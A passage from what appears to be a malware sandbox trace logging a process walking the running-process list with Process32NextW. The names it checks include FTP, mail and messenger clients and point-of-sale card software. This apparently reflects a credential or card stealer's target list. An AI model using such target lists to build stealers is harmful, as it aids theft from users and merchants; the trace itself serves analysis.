hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0100.110] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0100.111] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0100.111] lstrlenW (lpString="while damaged.exe") returned 17 [0100.111] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0100.364] lstrlenW (lpString="hosted_thee.exe") returned 15 [0100.365] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0100.366] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0100.366] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0100.366] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0100.367] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0100.367] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0100.367] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0100.368] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0100.368] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0100.369] lstrlenW (lpString="l_greene_go.exe") returned 15 [0100.369] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0100.370] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0100.370] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0100.370] lstrlenW (lpString="spots wm.exe") returned 12 [0100.371] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0100.371] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0100.371] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0100.372] lstrlenW (lpString="lp imagination.exe") returned 18 [0100.372] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0100.373] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0100.373] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0100.374] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0100.374] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0100.374] lstrlenW (lpString="voluntary teach.exe") returned 19 [0100.375] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0100.375] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0100.375] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0100.376] lstrlenW (lpString="jesse.exe") returned 9 [0100.376] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0100.380] lstrlenW (lpString="partners_format.exe") returned 19 [0100.380] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0100.384] lstrlenW (lpString="predict.exe") returned 11 [0100.384] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0100.394] lstrlenW (lpString="supervisor.exe") returned 14 [0100.394] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0100.399] lstrlenW (lpString="3dftp.exe") returned 9 [0100.399] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0100.402] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0100.402] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0100.403] lstrlenW (lpString="alftp.exe") returned 9 [0100.403] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0100.403] lstrlenW (lpString="barca.exe") returned 9 [0100.403] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0100.404] lstrlenW (lpString="bitkinex.exe") returned 12 [0100.404] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0100.405] lstrlenW (lpString="coreftp.exe") returned 11 [0100.405] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0100.405] lstrlenW (lpString="far.exe") returned 7 [0100.405] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0100.406] lstrlenW (lpString="filezilla.exe") returned 13 [0100.406] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0100.406] lstrlenW (lpString="flashfxp.exe") returned 12 [0100.406] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0100.407] lstrlenW (lpString="fling.exe") returned 9 [0100.407] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0100.407] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0100.408] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0100.408] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0100.408] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0100.409] lstrlenW (lpString="icq.exe") returned 7 [0100.409] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0100.410] lstrlenW (lpString="leechftp.exe") returned 12 [0100.410] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0100.411] lstrlenW (lpString="ncftp.exe") returned 9 [0100.411] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0100.412] lstrlenW (lpString="notepad.exe") returned 11 [0100.412] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0100.413] lstrlenW (lpString="operamail.exe") returned 13 [0100.413] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0100.414] lstrlenW (lpString="pidgin.exe") returned 10 [0100.414] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0100.415] lstrlenW (lpString="scriptftp.exe") returned 13 [0100.415] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0100.416] lstrlenW (lpString="skype.exe") returned 9 [0100.416] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0100.417] lstrlenW (lpString="smartftp.exe") returned 12 [0100.417] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0100.418] lstrlenW (lpString="thunderbird.exe") returned 15 [0100.418] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0100.419] lstrlenW (lpString="totalcmd.exe") returned 12 [0100.419] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0100.420] lstrlenW (lpString="trillian.exe") returned 12 [0100.420] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0100.420] lstrlenW (lpString="webdrive.exe") returned 12 [0100.421] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0100.421] lstrlenW (lpString="whatsapp.exe") returned 12 [0100.422] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0100.422] lstrlenW (lpString="winscp.exe") returned 10 [0100.422] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0100.423] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0100.423] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0100.538] lstrlenW (lpString="active-charge.exe") returned 17 [0100.539] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0100.539] lstrlenW (lpString="accupos.exe") returned 11 [0100.540] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0100.541] lstrlenW (lpString="afr38.exe") returned 9 [0100.541] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0100.541] lstrlenW (lpString="aldelo.exe") returned 10 [0100.542] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0100.542] lstrlenW (lpString="ccv_server.exe") returned 14 [0100.543] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0100.544] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0100.544] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0100.546] lstrlenW (lpString="creditservice.exe") returned 17 [0100.546] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0100.548] lstrlenW (lpString="edcsvr.exe") returned 10 [0100.548] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0100.549] lstrlenW (lpString="fpos.exe") returned 8 [0100.549] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0100.550] lstrlenW (lpString="isspos.exe") returned 10 [0100.550] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0100.551] lstrlenW (lpString="mxslipstream.exe") returned 16 [0100.551] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0100.552] lstrlenW (lpString="omnipos.exe") returned 11 [0100.552] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0100.553] lstrlenW (lpString="spcwin.exe") returned 10 [0100.553] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0100.554] lstrlenW (lpString="spgagentservice.exe") returned 19 [0100.554] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0100.555] lstrlenW (lpString="utg2.exe") returned 8 [0100.555] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0100.556] lstrlenW (lpString="atlascomedy.exe") returned 15 [0100.556] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0100.566] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0100.566] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0100.567] lstrlenW (lpString="ntsc.exe") returned 8 [0100.583] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0100.584] lstrlenW (lpString="criteria.exe") returned 12 [0100.584] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.585] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.585] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.586] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.586] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0100.587] lstrlenW (lpString="taskhost.exe") returned 12 [0100.587] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, 